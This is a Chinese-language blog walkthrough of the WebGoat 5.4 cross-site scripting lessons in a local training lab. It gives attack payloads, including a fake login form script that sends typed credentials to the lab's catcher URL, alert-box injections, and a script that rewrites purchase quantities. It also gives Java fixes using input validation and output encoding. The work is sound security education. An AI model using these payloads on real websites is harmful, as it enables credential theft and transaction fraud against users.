WebGoat5.4 Cross-Site Scripting (XSS) 开发版本关卡 通关攻略

  • Post author:
  • Post category:其他


本人在学习WebGoat5.4时,发现有些题目需要在开发版本上完成,网上能找到的所谓的通关教程,都说这些题目做不了,经过尝试发现,其实是可以完成的,本篇将对这部分进行重点说明。



1.环境搭建

下载WebGoat-5.4-OWASP_Standard_Win32.zip,解压后启动webgoat_8080.bat即可(需要有Java运行环境,为了完成开发版本的题目,需要JDK1.6)

在这里插入图片描述

在浏览器中输入http://localhost:8080/WebGoat/attack登录,初始用户名密码是 guest,即可进入



2.Cross-Site Scripting (XSS)



①Phishing with XSS(使用XSS钓鱼)

在这里插入图片描述

题目要求编写HTML及JavaScript将凭据提交到http://localhost/webgoat/catcher?PROPERTY=yes

在搜索框中输入js代码

<script>
    function hack()
    {
        alert("User Name = " + document.form.user.value + "Password = " + document.form.pass.value);
        XSSImage=new Image;XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" +
        document.form.user.value + "&password=" + document.form.pass.value + "";
    }
</script> 
<form>
    <br>
    Enter Username:<input type="text" name="user"><br>
    Enter Password:<input type="password" name = "pass"><br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>

页面将出现伪造的用户名密码的表单,输入用户名密码,点击登录

在这里插入图片描述

成功后,题目列表左边将会出现绿勾。



②LAB: Cross Site Scripting(跨站脚本攻击)



Stage 1: Stored XSS(存储型 XSS)

以“Tom”的身份,对Edit Profile页面上的Street字段执行存储型XSS攻击,验证“Jerry”是否受到攻击的影响。帐号的密码是用户名字的小写。

在这里插入图片描述

登录后选择“Tom Cat (employee)”,点击“ViewProfile”,点击“EditProfile”,在“Street”中输入代码:

<script>alert("test");</script>

在这里插入图片描述

点击“UpdateProfile”

在这里插入图片描述

点击“Logout”退出登录,以Jerry的身份登录,选择浏览 Tom 的信息,依然会弹出这段注入脚本。

在这里插入图片描述

实验成功。



Stage 2: Block Stored XSS using Input Validation(使用输入验证阻止存储型XSS攻击)

修复代码,在数据被写入数据库之前阻止存储型跨站攻击脚本。重复Stage 1的操作,以“Eric”和“David”身份再次测试,验证管理用户“David”不受攻击影响。

此题需要修改源代码才可完成,经过我的寻找,该题的源代码在WebGoat-5.4\tomcat\webapps\WebGoat\WEB-INF\classes\org\owasp\webgoat\lessons\CrossSiteScripting下的UpdateProfile.java

打开后,查看“parseEmployeeProfile”方法可以看到提示

在这里插入图片描述

可以使用正则表达式验证输入数据。

在parseEmployeeProfile方法中添加代码:

		String regex = "[\\s\\w-,]*";
		String stringToValidate = firstName+lastName+ssn+title+phone+address1+address2+startDate+ccn+disciplinaryActionDate+disciplinaryActionNotes+personalDescription; 
		Pattern pattern = Pattern.compile(regex);
		validate(stringToValidate, pattern);

这段验证代码只允许\s = whitspace: \t\n\x0B\f\r,\w = word: a-zA-Z_0-9 通过验证。使用其他字符将会抛出验证异常。

那么,现在最重要的是如何重新编译这个.java文件。

以下是本人的试验过程:

cmd切换到WebGoat-5.4\tomcat\webapps\WebGoat\WEB-INF\classes目录,输入javac org\owasp\webgoat\lessons\CrossSiteScripting\UpdateProfile.java进行编译。

出现“错误: 程序包javax.servlet.http不存在”。

在这里插入图片描述

解决方法:

将WebGoat-5.4\tomcat\lib下的servlet-api.jar添加到环境变量“CLASSPATH”



在这里插入图片描述

编译成功,重新运行webgoat_8080.bat,结果无法正常运行。

提示“java.lang.UnsupportedClassVersionError: org/owasp/webgoat/lessons/CrossSiteScripting/UpdateProfile : Unsupported major.minor version 52.0”

JDK版本不符

在这里插入图片描述

查阅资料得知,该版本WebGoat使用jdk1.6.0_02版编译

解决方法:

使用JDK1.6编译


在这里插入图片描述

可以正常运行

重复Stage 1的操作,以Eric身份再次测试,将会出现错误提示,阻止了XSS脚本的输入。

在这里插入图片描述

实验成功。



Stage 3: Stored XSS Revisited(存储型XSS重访问)

雇员“Bruce”的个人信息在预载入时携带了存储型XSS攻击代码。验证“David”帐号仍然受影响,即使Stage 2中做过相关的修复。

以David的身份登录,选择浏览Bruce的信息

在这里插入图片描述

即算完成。



Stage 4: Block Stored XSS using Output Encoding(使用输出编码阻止存储型XSS)

修复代码,从数据库中读取数据后阻止跨站攻击代码。重复 Stage 3的操作,以“David”身份再次测试,验证雇员“Bruce”的个人信息页不受攻击影响。

继续翻找.java文件,在org.owasp.webgoat.util.HtmlEncoder中有encode(String s1)方法,可以转换特殊字符。

在这里插入图片描述

private static Object[][] entities = { { "quot", new Integer(34) }, // " - double-quote
			{ "amp", new Integer(38) }, // & - ampersand
			{ "lt", new Integer(60) }, // < - less-than
			{ "gt", new Integer(62) }, // > - greater-than
			{ "nbsp", new Integer(160) }, // non-breaking space
			{ "copy", new Integer(169) }, // � - copyright
			{ "reg", new Integer(174) }, // � - registered trademark
			{ "Agrave", new Integer(192) }, // � - uppercase A, grave accent
			{ "Aacute", new Integer(193) }, // � - uppercase A, acute accent
			{ "Acirc", new Integer(194) }, // � - uppercase A, circumflex accent
			{ "Atilde", new Integer(195) }, // � - uppercase A, tilde
			{ "Auml", new Integer(196) }, // � - uppercase A, umlaut
			{ "Aring", new Integer(197) }, // � - uppercase A, ring
			{ "AElig", new Integer(198) }, // � - uppercase AE
			{ "Ccedil", new Integer(199) }, // � - uppercase C, cedilla
			{ "Egrave", new Integer(200) }, // � - uppercase E, grave accent
			{ "Eacute", new Integer(201) }, // � - uppercase E, acute accent
			{ "Ecirc", new Integer(202) }, // � - uppercase E, circumflex accent
			{ "Euml", new Integer(203) }, // � - uppercase E, umlaut
			{ "Igrave", new Integer(204) }, // � - uppercase I, grave accent
			{ "Iacute", new Integer(205) }, // � - uppercase I, acute accent
			{ "Icirc", new Integer(206) }, // � - uppercase I, circumflex accent
			{ "Iuml", new Integer(207) }, // � - uppercase I, umlaut
			{ "ETH", new Integer(208) }, // � - uppercase Eth, Icelandic
			{ "Ntilde", new Integer(209) }, // � - uppercase N, tilde
			{ "Ograve", new Integer(210) }, // � - uppercase O, grave accent
			{ "Oacute", new Integer(211) }, // � - uppercase O, acute accent
			{ "Ocirc", new Integer(212) }, // � - uppercase O, circumflex accent
			{ "Otilde", new Integer(213) }, // � - uppercase O, tilde
			{ "Ouml", new Integer(214) }, // � - uppercase O, umlaut
			{ "Oslash", new Integer(216) }, // � - uppercase O, slash
			{ "Ugrave", new Integer(217) }, // � - uppercase U, grave accent
			{ "Uacute", new Integer(218) }, // � - uppercase U, acute accent
			{ "Ucirc", new Integer(219) }, // � - uppercase U, circumflex accent
			{ "Uuml", new Integer(220) }, // � - uppercase U, umlaut
			{ "Yacute", new Integer(221) }, // � - uppercase Y, acute accent
			{ "THORN", new Integer(222) }, // � - uppercase THORN, Icelandic
			{ "szlig", new Integer(223) }, // � - lowercase sharps, German
			{ "agrave", new Integer(224) }, // � - lowercase a, grave accent
			{ "aacute", new Integer(225) }, // � - lowercase a, acute accent
			{ "acirc", new Integer(226) }, // � - lowercase a, circumflex accent
			{ "atilde", new Integer(227) }, // � - lowercase a, tilde
			{ "auml", new Integer(228) }, // � - lowercase a, umlaut
			{ "aring", new Integer(229) }, // � - lowercase a, ring
			{ "aelig", new Integer(230) }, // � - lowercase ae
			{ "ccedil", new Integer(231) }, // � - lowercase c, cedilla
			{ "egrave", new Integer(232) }, // � - lowercase e, grave accent
			{ "eacute", new Integer(233) }, // � - lowercase e, acute accent
			{ "ecirc", new Integer(234) }, // � - lowercase e, circumflex accent
			{ "euml", new Integer(235) }, // � - lowercase e, umlaut
			{ "igrave", new Integer(236) }, // � - lowercase i, grave accent
			{ "iacute", new Integer(237) }, // � - lowercase i, acute accent
			{ "icirc", new Integer(238) }, // � - lowercase i, circumflex accent
			{ "iuml", new Integer(239) }, // � - lowercase i, umlaut
			{ "igrave", new Integer(236) }, // � - lowercase i, grave accent
			{ "iacute", new Integer(237) }, // � - lowercase i, acute accent
			{ "icirc", new Integer(238) }, // � - lowercase i, circumflex accent
			{ "iuml", new Integer(239) }, // � - lowercase i, umlaut
			{ "eth", new Integer(240) }, // � - lowercase eth, Icelandic
			{ "ntilde", new Integer(241) }, // � - lowercase n, tilde
			{ "ograve", new Integer(242) }, // � - lowercase o, grave accent
			{ "oacute", new Integer(243) }, // � - lowercase o, acute accent
			{ "ocirc", new Integer(244) }, // � - lowercase o, circumflex accent
			{ "otilde", new Integer(245) }, // � - lowercase o, tilde
			{ "ouml", new Integer(246) }, // � - lowercase o, umlaut
			{ "oslash", new Integer(248) }, // � - lowercase o, slash
			{ "ugrave", new Integer(249) }, // � - lowercase u, grave accent
			{ "uacute", new Integer(250) }, // � - lowercase u, acute accent
			{ "ucirc", new Integer(251) }, // � - lowercase u, circumflex accent
			{ "uuml", new Integer(252) }, // � - lowercase u, umlaut
			{ "yacute", new Integer(253) }, // � - lowercase y, acute accent
			{ "thorn", new Integer(254) }, // � - lowercase thorn, Icelandic
			{ "yuml", new Integer(255) }, // � - lowercase y, umlaut
			{ "euro", new Integer(8364) },// Euro symbol
	};

在org.owasp.webgoat.lessons.CrossSiteScriptin.ViewProfile及org.owasp.webgoat.lessons.CrossSiteScriptin.EditProfile中加入:

import org.owasp.webgoat.util.HtmlEncoder;

在getEmployeeProfile方法中将原有的answer_results.getString()替换为

HtmlEncoder.encode(answer_results.getString())

在这里插入图片描述

当然,也可以自己编写这段转换代码。

编译后运行,重复 Stage 3的操作,不再出现弹框。

在这里插入图片描述

查看网页源代码可以看到<被编码为了&lt;>被编码为&gt;,无法构成<script>标签。

在这里插入图片描述

实验成功。



Stage 5: Reflected XSS(反射型 XSS)

使用雇员搜索页面漏洞构造包含反射型XSS攻击的 URL。验证另一位雇员访问该URL是否会受影响。

登录一个用户,点击“SearchStaff”,在搜索框中输入代码:

<script>alert("test")</script>

在这里插入图片描述

点击“FindProfile”

在这里插入图片描述

实验成功。



Stage 6: Block Reflected XSS(阻止反射型 XSS)

修复代码,阻止反射型XSS攻击。重复 Stage 5的操作,验证攻击不再生效。

编辑org.owasp.webgoat.lessons.CrossSiteScripting.FindProfile,在getRequestParameter方法中加入代码:

		String regex = "[\\s\\w-,]*";
		String stringToValidate = s.getParser().getRawParameter(name);
		Pattern pattern = Pattern.compile(regex);
		validate(stringToValidate, pattern);
		return stringToValidate;

在这里插入图片描述

编译运行,重复Stage 5的操作,将会出现错误提示。

在这里插入图片描述

实验成功。



③Stored XSS Attacks(存储型XSS攻击)

创建非法的消息内容,可以导致其它用户访问时加载该内容。

在Title输入任意内容,在Message中输入代码:

<script>alert(1)</script>

在这里插入图片描述

访问所发布的信息

在这里插入图片描述

实验成功。



④Reflected XSS Attacks(反射型XSS攻击)

在这里插入图片描述

经过试验,发现在“Enter your three digit access code”框处有漏洞,输入

<script>alert(1)</script>

在这里插入图片描述

实验成功。

更有意思的是,可将数量任意修改,输入:

'>
<script>
    for(i=0;i<4;i++)
    document.getElementsByTagName("input")[i].value='1000';
</script>
'>

在这里插入图片描述

即可以同样的价格买到更多的物品,实现“0元购”。

这些XSS产生是因为用户可以非法输入JS脚本,想要防御这些XSS,可在服务端对所有输入进行验证,过滤掉非法输入。



3.实验体会

通过本次实验可以了解反射型XSS漏洞、存储型XSS漏洞,JSP编写及编译的各项操作。学习网络安全知道如何攻击,也要知道如何防护。在实验过程中会遇到许许多多的问题,要不断钻研,才能学有所成。



版权声明:本文为weixin_46356548原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。